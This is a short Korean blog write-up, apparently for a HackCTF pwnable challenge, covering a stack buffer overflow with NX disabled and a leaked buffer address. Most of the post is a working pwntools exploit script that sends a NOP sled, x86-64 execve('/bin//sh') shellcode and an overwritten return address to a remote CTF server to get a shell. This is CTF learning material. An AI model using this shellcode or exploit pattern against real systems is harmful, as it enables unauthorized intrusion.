간단한 BOF 문제이다. 이 바이너리에는 쉘을 실행하는 다른 symbol 함수들이 들어있지 않으므로 shellcode를 사용하면 될 것 같다. 또한 buf의 주소도 출력해주니 이것을 이용하면 될 것 같다.
보호기법을 분석해보니 NX bit 는 걸려있지 않지만 ASLR은 걸려있는 것 같다.
바로 payload를 작성하여 exploit 해보자.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3005)
r.recvline()
r.recvuntil(": ")
buf = int(r.recv(14), 16)
payload = "\x90"*100
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload += "\x90"*27837
payload += p64(buf)
r.sendline(payload)
r.interactive()
처음에 주소값을 받아오는 과정에서 16진수로 변환해주고 p64로 패킹해야 하는데 그냥 패킹만 해버렸다.
'Pwnable > HackCTF' 카테고리의 다른 글
Beginner_Heap (0) | 2020.08.28 |
---|---|
Simple_Overflow_ver_2 (0) | 2020.08.28 |
x64 Buffer Overflow (0) | 2020.08.28 |
ROP (0) | 2020.08.28 |
RTL_World (0) | 2020.08.28 |